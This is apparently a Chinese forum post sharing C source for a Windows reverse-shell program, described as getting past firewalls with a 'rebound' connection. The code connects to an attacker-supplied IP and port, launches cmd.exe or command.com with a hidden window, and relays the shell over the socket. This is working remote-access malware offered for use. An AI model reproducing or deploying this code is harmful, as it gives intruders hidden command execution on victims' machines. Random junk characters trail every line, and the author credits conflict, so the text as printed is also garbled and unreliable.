这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 OyF=G^w
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/* ============================== } &B6
Rebound port in Windows NT ypx~WXFK
By wind,2006/7 W.MZN4=
===============================*/ 45sEhs[$
#include ld@+p
#include eIY`RMo
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#pragma comment(lib,"wsock32.lib") i7XY3yhC
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void OutputShell(); r)pt(*KHo
SOCKET sClient; jts0ZFHc-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iX]OF.:
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void main(int argc,char **argv) _ZK^JS
{ N*}soMPV^.
WSADATA stWsaData; >5Yn`Fc5
int nRet; '-YiV
SOCKADDR_IN stSaiClient,stSaiServer; *VsVCUCz5*
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if(argc != 3) P'lnS&yA
{ t-iXY0%&
printf("Useage:\n\rRebound DestIP DestPort\n"); b;UBvwY_
return; ;+E]F8G9r
} '7sf)0\:<p
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WSAStartup(MAKEWORD(2,2),&stWsaData); <-`.u`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k77 3h`;
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stSaiClient.sin_family = AF_INET; cQ j`W
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stSaiClient.sin_port = htons(0); I"88O4\@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Hyy b0c^=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GHcx@||C?
{ 5lG\Z?
printf("Bind Socket Failed!\n"); 7sxX?u
return; 'Z4}O_5_
} ]u|v7}I4
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stSaiServer.sin_family = AF_INET; SWV*w[X<X
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U.Mfu9}#:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )OV0YfO
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) iH }-
{ Xkhd"Axi
printf("Connect Error!"); pY"WW0p"C
return; ls^Z"9P
} = UH3.
OutputShell(); [ ulub|
} ][$I~nRf
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void OutputShell() Q%JI-&K
{ >>P5 4|&
char szBuff[1024]; <u!cdYo@
SECURITY_ATTRIBUTES stSecurityAttributes; Ds">eNq
OSVERSIONINFO stOsversionInfo; +)sX8zb*gY
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lA5Dag'
STARTUPINFO stStartupInfo; n^4R]9U
char *szShell; (?r,pAc:
PROCESS_INFORMATION stProcessInformation; SV>tw`2
unsigned long lBytesRead; =9jK\ T^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <giBL L!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); d&j
stSecurityAttributes.lpSecurityDescriptor = 0; xak)YOLRV
stSecurityAttributes.bInheritHandle = TRUE; }L_YpG7
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t@qf/1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rL{R=0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]y0Y (
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }<04\t?
stStartupInfo.wShowWindow = SW_HIDE; SndR:{
stStartupInfo.hStdInput = hReadPipe; ODxZO3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WTfjn|a
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GetVersionEx(&stOsversionInfo); j<p.#jkT
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switch(stOsversionInfo.dwPlatformId) M|*YeVs9#
{ XIdh9)]^}
case 1: 32YbBGDN!f
szShell = "command.com"; [s(D==8
break; 7Z6=e6/\
default: ,|]JaZq
szShell = "cmd.exe"; ~#pATPW@(
break; p~$cwbQ!
} O(T5
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _%nz-I
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send(sClient,szMsg,77,0); v-{g
while(1) %2}fW\%'
{ X;I9\Cp]!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .{V"Gn9!
if(lBytesRead) $'J3
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{ QKG3>lU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3Qy@^"
send(sClient,szBuff,lBytesRead,0); q)k:pQ
} KNVu[P)rv
else 928_e)V
{ ue_wuZi
lBytesRead=recv(sClient,szBuff,1024,0); mJSfn"b}K
if(lBytesRead<=0) break; c#n
2!
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }s~c(sL?;
} Y sM*d
} 6cH8Jr _
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return; }t H$:Z
}